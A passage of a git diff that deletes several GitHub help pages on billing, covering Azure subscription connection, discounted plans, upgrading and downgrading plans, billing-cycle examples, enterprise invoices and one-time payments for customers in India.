{% data reusables.enterprise-accounts.tenant-app-permissions %} - -{% data reusables.enterprise-accounts.connect-azure %} - -{% endif %} - -{% ifversion fpt %} - -## Disconnecting your Azure subscription from your organization account - -After you disconnect your Azure subscription from your organization account, your usage can no longer exceed the amounts included with your plan. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} - -1. In the "Access" section of the sidebar, click **{% octicon "credit-card" aria-hidden="true" %} Billing and plans**. -1. Under "Billing Management", then under "Metered billing via Azure", to the right of the subscription ID you want to disconnect, click **{% octicon "trash" aria-label="The trash icon" %}**. -1. Review the prompt, then click **Remove**. - -{% endif %} - -{% ifversion ghec %} - -## Disconnecting your Azure subscription from your enterprise account - -After you disconnect your Azure subscription from your enterprise account, your usage can no longer exceed the amounts included with your plan. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.billing-tab-both-platforms %} -{% data reusables.enterprise-accounts.payment-information-tab-both-platforms %} - -1. Under "Azure subscription", to the right of the subscription ID you want to disconnect, click **{% octicon "trash" aria-label="The trash icon" %}**. -1. Review the prompt, then click **Remove**. - {% endif %} - -## Troubleshooting connection of an Azure subscription - -You can troubleshoot some common issues with connection of an Azure subscription to your account on {% data variables.product.prodname_dotcom %}. - -### Message: "Need admin approval" - -If the user account you used to sign into Azure does not have adequate permissions to install the app that {% data variables.product.company_short %} uses to connect a subscription, you'll see a message with the following text. - -> **Need admin approval** -> -> GitHub Inc needs permission to access resources in your organization that only an admin can grant. Please ask an admin to grant permission to this app before you can use it. - -To avoid this message when you try again, you must either ensure that the Azure user can provide tenant-wide admin consent, or you must work with an Azure administrator to configure the admin consent workflow. For more information, review [Prerequisites](#prerequisites). diff --git a/content/billing/managing-the-plan-for-your-github-account/discounted-plans-for-github-accounts.md b/content/billing/managing-the-plan-for-your-github-account/discounted-plans-for-github-accounts.md deleted file mode 100644 index 4a88e992cfdf..000000000000 --- a/content/billing/managing-the-plan-for-your-github-account/discounted-plans-for-github-accounts.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Discounted plans for GitHub accounts -intro: '{% data variables.product.company_short %} provides discounts to students, educators, educational institutions, nonprofits, and libraries.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts - - /articles/discounted-personal-accounts - - /articles/discounted-organization-accounts - - /articles/discounted-billing-plans - - /articles/discounted-subscriptions-for-github-accounts - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts - - /billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Accounts - - Education - - Discounts - - Nonprofits - - User account -shortTitle: Discounted plans ---- - -> [!TIP] -> Discounts for an account's plan do not apply to other subscriptions or usage-based billing. - -## Discounts for personal accounts - -In addition to the unlimited public and private repositories for students and faculty with {% data variables.product.prodname_free_user %}, verified students can apply for the {% data variables.product.prodname_student_pack %} to receive additional benefits from {% data variables.product.prodname_dotcom %} partners. For more information, see [AUTOTITLE](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student). - -## Discounts for schools and universities - -Verified academic faculty can apply for {% data variables.product.prodname_team %} for teaching or academic research. For more information, see [AUTOTITLE](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers). You can also request educational materials goodies for your students. For more information, visit [{% data variables.product.prodname_education %}](https://education.github.com/). - -## Discounts for nonprofits and libraries - -{% data variables.product.company_short %} provides free {% data variables.product.prodname_team %} for organizations with unlimited private repositories, unlimited collaborators, and a full feature set to qualifying 501(c)3 (or equivalent) organizations and libraries. You can request a discount for your organization on [our nonprofit page](https://github.com/nonprofit). - -If your organization already has a paid plan, your organization's last transaction will be refunded once your nonprofit discount has been applied. - -## Further reading - -* [AUTOTITLE](/billing/managing-your-github-billing-settings/about-billing-on-github) diff --git a/content/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan.md b/content/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan.md deleted file mode 100644 index da0c80c879bf..000000000000 --- a/content/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan.md +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Downgrading your account's plan -intro: 'You can downgrade the plan for any type of account on {% data variables.product.prodname_dotcom %} at any time.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-your-github-subscription - - /articles/downgrading-your-personal-account-s-billing-plan - - /articles/how-do-i-cancel-my-account - - /articles/downgrading-a-user-account-to-free - - /articles/removing-paid-seats-from-your-organization - - /articles/downgrading-your-organization-s-paid-seats - - /articles/downgrading-your-organization-s-billing-plan - - /articles/downgrading-an-organization-with-per-seat-pricing-to-free - - /articles/downgrading-an-organization-with-per-repository-pricing-to-free - - /articles/downgrading-your-organization-to-free - - /articles/downgrading-your-organization-from-the-business-plan-to-the-team-plan - - /articles/downgrading-your-organization-from-github-business-cloud-to-the-team-plan - - /articles/downgrading-your-github-billing-plan - - /articles/downgrading-your-github-subscription - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/downgrading-your-github-subscription - - /billing/managing-billing-for-your-github-account/downgrading-your-github-subscription -versions: - fpt: '*' - ghec: '*' -topics: - - Accounts - - Downgrades - - Organizations - - Repositories - - User account -shortTitle: Downgrade plan ---- - -{% data reusables.billing.enhanced-billing-platform-personal-accounts %} - -## About downgrades - -When you downgrade your personal account, organization, or enterprise account's subscription, pricing and account feature changes take effect on your next billing date. Downgrading your plan does not affect other subscriptions or usage-based billing for your account. For more information, see [AUTOTITLE](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process). - -## Downgrading your personal account's plan - -If you downgrade your personal account from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, the account will lose access to advanced code review tools on private repositories. {% data reusables.gated-features.more-info %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -1. Under "Current plan", use the **Edit** drop-down and click **Downgrade to Free**. - ![Screenshot of the "Current plan" section of the billing settings page. The "Edit" dropdown menu is expanded and highlighted with an orange outline.](/assets/images/help/billing/downgrade-to-free.png) -1. Read the information about the features your personal account will no longer have access to on your next billing date, then click **I understand. Continue with downgrade**. - -If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, remove or update your DNS records before downgrading from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, to avoid the risk of a domain takeover. For more information, see [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site). - -## Downgrading your organization's plan - -{% data reusables.dotcom_billing.org-billing-perms %} - -After an organization's plan is downgraded, the organization will lose access to any functionality that is not included in the new plan. If an advanced feature, such as {% data variables.product.prodname_pages %}, is not available for private repositories in your new plan, consider whether you'd like to retain access to the feature by making affected repositories public. For more information, see [Setting repository visibility](/articles/setting-repository-visibility). - -Downgrading from {% data variables.product.prodname_ghe_cloud %} disables any SAML settings. If you later purchase {% data variables.product.prodname_enterprise %}, you will need to reconfigure SAML. - -> [!NOTE] -> If your organization is owned by an enterprise account, billing cannot be managed at the organization level. To downgrade, you must remove the organization from the enterprise account first. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise). - -{% data reusables.organizations.billing-settings %} -1. Under "Current plan", use the **Edit** drop-down and click the downgrade option you want. - ![Screenshot of the "Current plan" section of the billing settings page. The "Edit" dropdown menu is expanded and highlighted with an orange outline.](/assets/images/help/billing/downgrade-to-free.png) -{% data reusables.dotcom_billing.confirm_cancel_org_plan %} - -## Downgrading an organization's plan with legacy per-repository pricing - -{% data reusables.dotcom_billing.org-billing-perms %} - -{% data reusables.dotcom_billing.switch-legacy-billing %} For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/upgrading-your-accounts-plan#switching-your-organization-from-per-repository-to-per-user-pricing). - -{% data reusables.organizations.billing-settings %} -5. Under "Subscriptions", next to your current plan, select the **Edit** dropdown menu and click **Edit plan**. -1. Under "Billing/Plans", next to the plan you want to change, click **Downgrade**. -1. Enter the reason you're downgrading your account, then click **Downgrade plan**. - -## Removing paid seats from your organization - -To reduce the number of paid seats your organization uses, you can remove members from your organization or convert members to outside collaborators and give them access to only public repositories. For more information, see: -* [AUTOTITLE](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/converting-an-organization-member-to-an-outside-collaborator) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository) - -{% data reusables.organizations.billing-settings %} -1. Under "Current plan", next to your current plan, select the **Edit** dropdown menu, then click **Remove seats**. -1. Under "Remove seats", select the number of seats you'd like to downgrade to. -1. Review the information about your new payment on your next billing date, then click **Remove seats**. - -{% ifversion ghec %} - -## Downgrading your enterprise account's plan - -Enterprise accounts are only available with {% data variables.product.prodname_enterprise %}, so it's not possible to downgrade an enterprise account to another plan. - -If you want to stop paying for {% data variables.product.prodname_enterprise %} altogether and your company pays via invoice, contact {% data variables.contact.contact_enterprise_sales %}. If you have a self-serve enterprise account, an enterprise account owner must remove or delete all organizations from the enterprise first. Removing an organization from an enterprise automatically downgrades the organization to {% data variables.product.prodname_free_team %}. See [AUTOTITLE](/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise). - -Once all organizations have been removed or deleted, an enterprise owner can delete the enterprise account to cancel the {% data variables.product.prodname_enterprise %} subscription. See [AUTOTITLE](/admin/managing-your-enterprise-account/deleting-an-enterprise-account). - -## Removing paid seats for your enterprise account - -{% data reusables.enterprise-accounts.billing-perms %} - -> [!NOTE] -> If your enterprise account is invoiced, you cannot remove seats on {% data variables.product.prodname_dotcom %}. Instead, contact {% data variables.contact.contact_enterprise_sales %}. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -{% data reusables.enterprise-accounts.manage-seats %} -{% endif %} - -## Further reading - -* [AUTOTITLE](/get-started/learning-about-github/githubs-plans) -* [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process) -* [AUTOTITLE](/billing/managing-your-github-billing-settings/about-billing-on-github). -* [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/about-per-user-pricing) diff --git a/content/billing/managing-the-plan-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md b/content/billing/managing-the-plan-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md deleted file mode 100644 index 6bb5df7c3ff9..000000000000 --- a/content/billing/managing-the-plan-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: How does upgrading or downgrading affect the billing process? -intro: 'When you upgrade the subscription for your personal account or organization, changes are applied immediately. When you downgrade your subscription, changes are applied at the end of your current billing cycle.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/how-does-upgrading-or-downgrading-affect-the-billing-process - - /articles/how-does-upgrading-or-downgrading-affect-the-billing-process - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process - - /billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Fundamentals - - Organizations - - Upgrades - - User account -shortTitle: Billing process ---- -Changes to your paid personal account or organization subscription does not affect subscriptions or payments for other paid {% data variables.product.prodname_dotcom %} features, such as {% data variables.large_files.product_name_long %} or paid apps purchased in {% data variables.product.prodname_marketplace %}. - -For more information, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans) and [AUTOTITLE](/billing/using-the-billing-platform/about-billing-on-github). - -## Example of canceling a paid subscription for a personal account or organization - -Kumiko pays for a monthly subscription on the 5th of every month. If Kumiko downgrades from the paid subscription to {% data variables.product.prodname_free_user %} on October 10th, her paid subscription will remain in effect until the end of her current billing cycle on November 4th. On November 5th, her account will move to {% data variables.product.prodname_free_user %}. - -## Example of changing from a yearly to a monthly subscription for a personal account or organization - -Ravi pays for a yearly subscription on October 5th every year. If Ravi switches from a yearly to monthly billing on December 10th, his account remains on the yearly subscription until the end of its current billing cycle on October 4th the next year. On October 5th of the next year, Ravi will be charged for a month of service. His next billing date will be November 5th. - -## Example of adding paid seats to your organization - -Mada's organization pays for 25 seats on the 15th of every month. If Mada adds ten paid seats on June 4th, her organization is immediately charged a prorated amount for ten additional seats for the time between June 4th and June 14th, and the seats are available to use immediately. On June 15th, Mada's organization will pay for 35 seats. - -## Example of removing paid seats from your organization - -Stefan's organization pays for 50 seats every year on May 20th. If Stefan removes 20 seats and downgrades to a new total of 30 paid seats on September 30, his organization can still access its 50 paid seats until the end of its current billing cycle on May 19th. On May 20th, the downgrade will take effect - Stefan's organization will pay for 30 seats and will have access to 30 paid seats. - -## Further reading - -* [AUTOTITLE](/billing/managing-the-plan-for-your-github-account) -* [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-marketplace-apps) -* [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage) -* [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/about-per-user-pricing) diff --git a/content/billing/managing-the-plan-for-your-github-account/index.md b/content/billing/managing-the-plan-for-your-github-account/index.md deleted file mode 100644 index 80dcbec92f57..000000000000 --- a/content/billing/managing-the-plan-for-your-github-account/index.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Managing the plan for your GitHub account -shortTitle: Manage your plan -intro: "{% ifversion fpt %}You can upgrade, downgrade, and view pending changes to your account's plan at any time.{% elsif ghec or ghes %}You can manage billing for {% data variables.product.prodname_enterprise %} from your enterprise account on {% data variables.product.prodname_dotcom %}.{% endif %}" -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account - - /categories/97/articles - - /categories/paying-for-user-accounts - - /articles/paying-for-your-github-user-account - - /articles/managing-billing-on-github - - /articles/changing-your-personal-account-s-billing-plan - - /categories/billing - - /categories/3/articles - - /articles/managing-your-organization-s-paid-seats - - /articles/managing-billing-for-your-github-account - - /billing/managing-billing-for-your-github-account -versions: - fpt: '*' - ghec: '*' - ghes: '*' -children: - - /about-billing-for-plans - - /about-per-user-pricing - - /viewing-the-subscription-and-usage-for-your-enterprise-account - - /upgrading-your-accounts-plan - - /viewing-and-managing-pending-changes-to-your-plan - - /downgrading-your-accounts-plan - - /managing-invoices-for-your-enterprise - - /connecting-an-azure-subscription - - /how-does-upgrading-or-downgrading-affect-the-billing-process - - /one-time-payments-for-customers-in-india - - /discounted-plans-for-github-accounts ---- - -{% ifversion fpt %}{% data reusables.billing.enhanced-billing-platform-personal-accounts %}{% endif %} diff --git a/content/billing/managing-the-plan-for-your-github-account/managing-invoices-for-your-enterprise.md b/content/billing/managing-the-plan-for-your-github-account/managing-invoices-for-your-enterprise.md deleted file mode 100644 index 26e3fc315189..000000000000 --- a/content/billing/managing-the-plan-for-your-github-account/managing-invoices-for-your-enterprise.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Managing invoices for your enterprise -shortTitle: Manage invoices -intro: 'You can view, pay, or download a current invoice for your enterprise, and you can view your payment history.' -redirect_from: - - /billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise -versions: - ghec: '*' -type: how_to -topics: - - Enterprise - - Licensing ---- - -## About invoices for your enterprise - -For invoiced {% data variables.product.prodname_enterprise %} customers, {% data variables.product.company_short %} bills through an enterprise account on {% data variables.product.prodname_dotcom_the_website %}. Each invoice includes a single bill charge for all of your paid {% data variables.product.prodname_dotcom_the_website %} services and any {% data variables.product.prodname_ghe_server %} instances. For more information, see [AUTOTITLE](/billing/managing-your-github-billing-settings/about-billing-for-your-enterprise). - -Only invoiced customers can view invoices on {% data variables.product.prodname_dotcom %}. If you pay automatically via credit card or PayPal, you can view receipts and payment history instead. For more information, see [AUTOTITLE](/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts). - -For more information about viewing the subscription and usage for your enterprise account, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account). - -{% data reusables.billing.ghes-with-no-enterprise-account %} - -## Viewing your current invoice - -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. Under "Latest invoice", click **View**. - - ![Screenshot of the billing summary for an enterprise account. A link, labeled "View", is highlighted with an orange outline.](/assets/images/help/business-accounts/view-invoice-link.png) - -## Paying your current invoice - -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. Under "Latest invoice", click **Pay invoice**. - - ![Screenshot of the billing summary for an enterprise account. A link, labeled "Pay invoice", is highlighted with an orange outline.](/assets/images/help/business-accounts/pay-invoice-link.png) -1. Under "Pay invoice", type your credit card information in the secure form, then click **Pay Invoice**. - -## Downloading your current invoice - -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. Under "Quick Actions", click **Download current invoice**. - - ![Screenshot of the billing summary for an enterprise account. A link, labeled "Download current invoice", is highlighted with an orange outline.](/assets/images/help/business-accounts/download-current-invoice.png) - -## Viewing your payment history - -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. To see a summary of your past billing activity, under "Billing", click the **Past invoices** tab. - - ![Screenshot of the billing page for an enterprise account. A tab, labeled "Past invoices", is highlighted with an orange outline.](/assets/images/help/business-accounts/view-payment-history.png) diff --git a/content/billing/managing-the-plan-for-your-github-account/one-time-payments-for-customers-in-india.md b/content/billing/managing-the-plan-for-your-github-account/one-time-payments-for-customers-in-india.md deleted file mode 100644 index 25f1eacaeb84..000000000000 --- a/content/billing/managing-the-plan-for-your-github-account/one-time-payments-for-customers-in-india.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: One-time payments for customers in India -intro: Customers in India who have been impacted by the Reserve Bank of India's recurring payment regulation can now make one-time payments for their GitHub subscriptions and services. -redirect_from: - - /early-access/billing/india-rbi-regulation - - /billing/managing-billing-for-your-github-account/one-time-payments-for-customers-in-india -versions: - fpt: '*' - ghec: '*' -topics: - - Billing - - Sponsors - - Policy -shortTitle: India one-time payments ---- - - -## About the Reserve Bank of India's recurring payments regulation - -A new payments regulation from the Reserve Bank of India (RBI) recently came into effect. This regulation places additional requirements on recurring online transactions and has prevented some {% data variables.product.company_short %} customers in India from making recurring payments. Customers using payment methods issued in India for any recurring transactions on {% data variables.product.github %} may find that their payments are declined by their banks or card issuers. For more information, see [the RBI's press release](https://www.rbi.org.in/Scripts/BS_PressReleaseDisplay.aspx?prid=51353). - -The regulation applies to all recurring transactions, including: -* {% data variables.product.prodname_dotcom %} plan subscriptions (Pro, Team, Enterprise) -* {% data variables.product.prodname_marketplace %} purchases -* {% data variables.product.prodname_sponsors %} transactions -* Git Large File Storage purchases -* {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, and {% data variables.product.prodname_github_codespaces %} consumption - -In order to minimize disruption, recurring payments for our affected customers were paused on October 29th, 2021. Paid features and services have remained available to customers impacted by the RBI regulation. - -## About one-time payments on {% data variables.product.company_short %} - -As we work with our payment gateway provider to meet the new requirements, we are providing a temporary one-time payment option for impacted customers in India. From February 15th 2022, {% data variables.product.company_short %} customers in India who have been affected by the new RBI regulation will be able to make one-time payments on their regular billing cycle cadence. - -### For customers on monthly billing - -Customers on monthly billing plans will be able to make a one-time payment on the same day their billing cycle usually renews. For example, if you're usually billed on the 7th of each month, you will now be able to make a one-time payment from your account from the 7th of each month. Your first one-time payment will also include any accrued usage from October 2021 onwards. - -If you are currently billed monthly, and would like to switch to yearly billing, you can reduce the frequency of your one-time payments. For more information, see [AUTOTITLE](/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle). - -### For customers on yearly billing - -If you are billed yearly, and your renewal date was between October 1st, 2021 and February 14th, 2022, you will be able to make a one-time payment for your annual subscriptions from February 15th. This initial payment will include the prorated outstanding cost of your subscription for the period since your previous billing cycle ended. - -If your billing cycle is due to renew after February 15th, we will attempt to take the recurring payment. If the payment attempt is declined, you will then be able to make a one-time payment through your account's billing page. - -In the meantime, we are actively working with our payment partners to restore recurring payments for impacted customers. For more information or questions, you can contact {% data variables.contact.contact_support %}. - -### Impact to {% data variables.product.prodname_sponsors %} - -Existing sponsorships will remain in place during this period and maintainers will continue to be paid out as expected. Payments for the accrued sponsorship amounts from the funding account will be collected at the same time as other accrued charges. - -## Making a one-time payment for a GitHub subscription - -> [!NOTE] -> Affected customers will receive an email notification with a link to their billing settings when payment is due. Two further reminder emails will be sent 7 and 14 days later if payment has not been made. After 14 days, paid features and services will be locked until payment is made. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans_payment %} -1. At the top of the page, click **Pay now**. -1. Review your billing and payment information. -1. Optionally, if you need to make an edit, click **Edit** next to the relevant section. -1. Click **Submit payment**. -1. Once payment for the current billing cycle has been successfully made, the **Pay now** button on your "Billing & plans" page will be disabled until your next payment is due. diff --git a/content/billing/managing-the-plan-for-your-github-account/upgrading-your-accounts-plan.md b/content/billing/managing-the-plan-for-your-github-account/upgrading-your-accounts-plan.md deleted file mode 100644 index ace00d9851e6..000000000000 --- a/content/billing/managing-the-plan-for-your-github-account/upgrading-your-accounts-plan.md +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Upgrading your account's plan -intro: 'You can upgrade the plan for any type of account on {% data variables.product.prodname_dotcom %} at any time.' -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-your-github-subscription - - /articles/upgrading-your-personal-account-s-billing-plan - - /articles/upgrading-your-personal-account - - /articles/upgrading-your-personal-account-from-free-to-a-paid-account - - /articles/upgrading-your-personal-account-from-free-to-paid-with-a-credit-card - - /articles/upgrading-your-personal-account-from-free-to-paid-with-paypal - - /articles/500-error-while-upgrading - - /articles/upgrading-your-organization-s-billing-plan - - /articles/changing-your-organization-billing-plan - - /articles/upgrading-your-organization-account-from-free-to-paid-with-a-credit-card - - /articles/upgrading-your-organization-account-from-free-to-paid-with-paypal - - /articles/upgrading-your-organization-account - - /articles/switching-from-per-repository-to-per-user-pricing - - /articles/adding-seats-to-your-organization - - /articles/upgrading-your-github-billing-plan - - /articles/upgrading-your-github-subscription - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/upgrading-your-github-subscription - - /billing/managing-billing-for-your-github-account/upgrading-your-github-subscription -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Organizations - - Troubleshooting - - Upgrades - - User account -shortTitle: Upgrade your plan ---- - -{% data reusables.billing.enhanced-billing-platform-personal-accounts %} - -## About upgrades - -{% data reusables.accounts.accounts-billed-separately %} - -Upgrading your plan does not affect other subscriptions or usage-based billing for your account. See [AUTOTITLE](/billing/managing-your-github-billing-settings/about-billing-on-github). - -## Upgrading your personal account's plan - -You can upgrade your personal account from {% data variables.product.prodname_free_user %} to {% data variables.product.prodname_pro %} to get advanced code review tools on private repositories owned by your personal account. - -Upgrading your personal account does not affect any organizations you may manage or repositories owned by those organizations. {% data reusables.gated-features.more-info %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -1. Next to "Current plan", click **Upgrade**. -1. Under "Pro" on the "Compare plans" page, click **Upgrade to Pro**. -{% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %} -{% data reusables.dotcom_billing.show-plan-details %} -{% data reusables.dotcom_billing.enter-billing-info %} -{% data reusables.dotcom_billing.enter-payment-info %} -{% data reusables.dotcom_billing.finish_upgrade %} - -## Managing your organization's plan - -You can upgrade your organization's plan, add seats to your existing plan, or switch from per-repository to per-user pricing. - -### Upgrading your organization's plan - -You can upgrade your organization from {% data variables.product.prodname_free_team %} for an organization to {% data variables.product.prodname_team %} to access advanced collaboration and management tools for teams, or upgrade your organization to {% data variables.product.prodname_ghe_cloud %} for additional security, compliance, and deployment controls. - -Upgrading an organization does not affect your personal account or repositories owned by your personal account. {% data reusables.gated-features.more-info-org-products %} - -{% data reusables.dotcom_billing.org-billing-perms %} - ->[!NOTE] {% data reusables.actions.org-to-enterprise-actions-permissions %} - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.upgrade_org %} -{% data reusables.dotcom_billing.choose_org_plan %} -{% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %} -{% data reusables.dotcom_billing.show-plan-details %} -{% data reusables.dotcom_billing.enter-payment-info %} -{% data reusables.dotcom_billing.owned_by_business %} -{% data reusables.dotcom_billing.finish_upgrade %} - -### Next steps for organizations using {% data variables.product.prodname_ghe_cloud %} - -As part of your upgrade to {% data variables.product.prodname_ghe_cloud %}, you set up an enterprise account. An enterprise account allows you to manage multiple organizations. Optionally, you can set up identity and access management for an individual organization or enterprise account. See [AUTOTITLE](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts) and [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#authentication-through-githubcom-with-additional-saml-access-restriction){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -{% data reusables.enterprise.create-an-enterprise-account %} See [AUTOTITLE](/enterprise-cloud@latest/admin/managing-your-enterprise-account/creating-an-enterprise-account){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -### Adding seats to your organization - -If you'd like additional users to have access to your {% data variables.product.prodname_team %} organization's private repositories, you can purchase more seats anytime. - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.add-seats %} -{% data reusables.dotcom_billing.number-of-seats %} -{% data reusables.dotcom_billing.confirm-add-seats %} - -### Switching your organization from per-repository to per-user pricing - -{% data reusables.dotcom_billing.switch-legacy-billing %} See [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/about-per-user-pricing). - -{% data reusables.organizations.billing-settings %} -1. To the right of your plan name, select the **Edit** dropdown menu, then click **Edit plan**. -1. To the right of "Advanced tools for teams", click **Upgrade now**. -{% data reusables.dotcom_billing.choose_org_plan %} -{% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %} -{% data reusables.dotcom_billing.owned_by_business %} -{% data reusables.dotcom_billing.finish_upgrade %} - -{% ifversion ghec %} - -## Adding seats to your enterprise account - -If you have access to the new billing platform, you can add seats to your enterprise account through the "Licensing" page. See, [AUTOTITLE](/billing/using-the-new-billing-platform/adding-seats-to-your-enterprise-account). - -{% data reusables.enterprise-accounts.billing-perms %} - ->[!NOTE] If your enterprise account is invoiced, you cannot add seats on {% data variables.product.prodname_dotcom %}. Instead, contact {% data variables.contact.contact_enterprise_sales %}. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -{% data reusables.enterprise-accounts.manage-seats %} - -{% endif %} - -## Troubleshooting a 500 error when upgrading - -{% data reusables.dotcom_billing.500-error %} - -## Further reading - -* [AUTOTITLE](/get-started/learning-about-github/githubs-plans) -* [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process) -* [AUTOTITLE](/billing/managing-your-github-billing-settings/about-billing-on-github). diff --git a/content/billing/managing-the-plan-for-your-github-account/viewing-and-managing-pending-changes-to-your-plan.md b/content/billing/managing-the-plan-for-your-github-account/viewing-and-managing-pending-changes-to-your-plan.md deleted file mode 100644 index a7a3d2a4187a..000000000000 --- a/content/billing/managing-the-plan-for-your-github-account/viewing-and-managing-pending-changes-to-your-plan.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Viewing and managing pending changes to your plan -intro: You can view and cancel pending changes to your plan before they take effect on your next billing date. -redirect_from: - - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-and-managing-pending-changes-to-your-subscription - - /articles/viewing-and-managing-pending-changes-to-your-personal-account-s-billing-plan - - /articles/viewing-and-managing-pending-changes-to-your-organization-s-billing-plan - - /articles/viewing-and-managing-pending-changes-to-your-billing-plan - - /articles/viewing-and-managing-pending-changes-to-your-subscription - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription - - /billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Organizations - - User account -shortTitle: Pending plan changes ---- - -{% data reusables.billing.enhanced-billing-platform-personal-accounts %} - -## About pending plan changes - -You can cancel pending changes to your account's plan as well as pending changes to other subscriptions and usage-based billing. - -When you cancel a pending change, your plan will not change until your next billing date. - -## Viewing and managing pending changes to your personal account's plan - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.billing_plans %} -{% data reusables.dotcom_billing.review-pending-changes %} -{% data reusables.dotcom_billing.cancel-pending-changes %} -{% data reusables.dotcom_billing.confirm-cancel-pending-changes %} - -## Viewing and managing pending changes to your organization's plan - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.review-pending-changes %} -{% data 